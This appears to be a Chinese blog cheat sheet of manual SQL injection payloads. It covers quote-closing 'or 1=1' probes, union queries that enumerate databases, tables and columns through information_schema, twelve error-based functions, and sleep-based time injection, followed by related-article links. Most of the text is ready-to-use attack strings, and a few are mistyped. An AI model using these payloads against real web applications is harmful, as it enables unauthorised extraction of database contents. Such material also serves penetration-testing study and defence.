1.基于报错与union的注入

注意:union联合查询注入一般要配合其他注入使用

A.判断是否存在注入,注入是字符型还是数字型,有没过滤了关键字,可否绕过

a.如何判断是否存在注入

一般有一下几种

or 1=1--+

'or 1=1--+

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

既把前面的引号或括号进行补全,后要保证格式的正确,让我们的语句可以顺利执行。

B.SQL查询语句中的字段数

order by 数字 --+

C.确定显示位,要用错误的数据,如?id=-1

union select 1,2,3--+

此处要注意,字段数要一致

D.获取当前数据库

获取库名:union select 1,database(),3

E.获取数据库中的表

获取表名:union select 1,(select table_name from information_schema.tables where table_schema='库名' limit 0,1),3

F.获取数据表中的字段名

获取字段名:union select 1,(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),3

G.下载数据

2.盲注(返回结果只有 true 和 false).

A.判断是否存在注入,注入是字符型还是数字型,有没过滤了关键字,可否绕过

B.依次猜测库名、表名、字段名的长度

C.依次猜测库名、表名、字段名,可使用burp得intruder模块

(orderby盲注 ).

3.报错注入(十二种)

A.floor()

id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a)--+

B.extractvalue()

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+

C.updatexml()

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

D.geometrycollection()

id=1 and geometrycollection((select * from(select * from(select user())a)b))--+

E.multipoint()

id=1 and multipoint((select * from(select * from(select user())a)b))--+

F.polygon()

id=1 and polygon((select * from(select * from(select user())a)b))--+

G.multipolygon()

id=1 and multipolygon((select * from(select * from(select user())a)b))--+

H.linestring()

id=1 and linestring((select * from(select * from(select user())a)b))--+

I.multilinestring()

id=1 and multilinestring((select * from(select * from(select user())a)b))--+

J.exp()

id=1 and exp(~(select * from(select user())a))--+

K.NAME_CONST

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)--+

L.GeometryCollection()

and GeometryCollection(()select *from(select user () )a)b )--+

3.时间注入(类似盲注)

A.判断库名长度

and if(length(database()>=1),sleep(5),1)--+

B.判断库名

and if(substr(database(),1,1)='s',sleep(5),1)--+

注意:时间注入和盲注,可能需使用burp的intruder模块

总结:SQL注入其实就是将自己的sql语句拼接到网页的php程序中,利用程序的设计漏洞,获取数据库的内容

手动SQL注入总结的更多相关文章

  1. 手动SQL注入原理分析与实践

    代码仓库 本文所用代码的代码库地址: 点击这里前往Github仓库 了解SQL注入 定义 SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞.可以用它来从数 ...

  2. 记一次手动SQL注入

    1.检测到可能存在注入漏洞的url 最常用的 ' ,and 1=1 ,and 1=2 http://www.xxx.com/subcat.php?id=1 2.判断字段个数 http://www.xx ...

  3. kali linux之手动漏洞挖掘三(sql注入)

    服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器 如判断登录 select * from users where user='uname' and passw ...

  4. Java防止SQL注入2(通过filter过滤器功能进行拦截)

    首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...

  5. mybatis中#{}与${}的差别(如何防止sql注入)

    默认情况下,使用#{}语法,MyBatis会产生PreparedStatement语句中,并且安全的设置PreparedStatement参数,这个过程中MyBatis会进行必要的安全检查和转义. # ...

  6. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  7. 用java PreparedStatement就不用担心sql注入了吗?

    先感慨下,好久没写博客了,一是工作太忙,二是身体不太给力,好在终于查清病因了,趁着今天闲下来,迫不及待与读者交流,最后忠告一句:身体是活着的本钱! 言归正传,对java有了解的同学基本上都体验过JDB ...

  8. sqlmap和burpsuite绕过csrf token进行SQL注入检测

    利用sqlmap和burpsuite绕过csrf token进行SQL注入 转载请注明来源:http://www.cnblogs.com/phoenix--/archive/2013/04/12/30 ...

  9. MyBatis怎么防止SQL注入

    SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者).[摘自] SQL injection - Wikipedia SQL ...

随机推荐

  1. Java实现一个简单的文件上传案例

    Java实现一个简单的文件上传案例 实现流程: 1.客户端从硬盘读取文件数据到程序中 2.客户端输出流,写出文件到服务端 3.服务端输出流,读取文件数据到服务端中 4.输出流,写出文件数据到服务器硬盘 ...

  2. 题解 洛谷 P3247 【[HNOI2016]最小公倍数】

    题意可以转化为是否能找一条从\(u\)到\(v\)的路径,经过的边的\(a\)和\(b\)的最大值恰好都是询问所给定的值. 若只有\(a\)的限制,可以将询问离线,对边和询问都从小到大排序,然后双指针 ...

  3. R星游戏如何绑定二次验证码_虚拟MFA_两步验证_谷歌身份验证器?

    一般点账户名——设置——安全设置中开通虚拟MFA两步验证 具体步骤见链接 R星游戏如何绑定二次验证码_虚拟MFA_两步验证_谷歌身份验证器? 二次验证码小程序于谷歌身份验证器APP的优势 1.无需下载 ...

  4. mysql查看各表占磁盘空间

    select TABLE_NAME, concat(truncate(data_length/1024/1024,2),' MB') as data_size, concat(truncate(ind ...

  5. jsp课堂笔记4 javabean

    Javabean是一个可重复使用的软件组件,实际上是一种java类 实现代码重复利用 易编写易维护易使用 jsp页面的主要任务是显示页面,不负责数据的逻辑业务处理 将数据处理过程中指派一个或多个bea ...

  6. Vue、Nuxt服务端渲染,NodeJS全栈项目,面试小白的博客系统~~

    Holle,大家好,我是李白!! 一时兴起的开源项目,到这儿就告一段落了. 这是一个入门全栈之路的小项目,从设计.前端.后端.服务端,一路狂飙的学习,发量正在欣喜若狂~~ 接触过WordPress,H ...

  7. HTML自动刷新页面

    <meta http-equiv="refresh"content="5"/> 英文""

  8. Linux重定向用法详解

    大家好,我是良许. 相信大家平时都会有需要复制粘贴数据的时候,如果是打开文件进行复制粘贴,就不可避免的需要较多的鼠标与键盘的操作,就会比较繁琐.那么有没有可以省掉这些繁琐操作的复制粘贴的方法呢? 答案 ...

  9. Python修改元组

    Python修改元组:元组中的元素值是不允许修改的,当创建好的时候就是固定不变的.所谓的修改其实是指创建一个新的元组,只是该元组可能是比原来的元组多一个元素或者少一个元素,然后使用新创建好的元组代替原 ...

  10. PHP date_parse_from_format() 函数

    ------------恢复内容开始------------ 实例 根据指定的格式返回一个包含指定日期信息的关联数组: <?phpprint_r(date_parse_from_format(& ...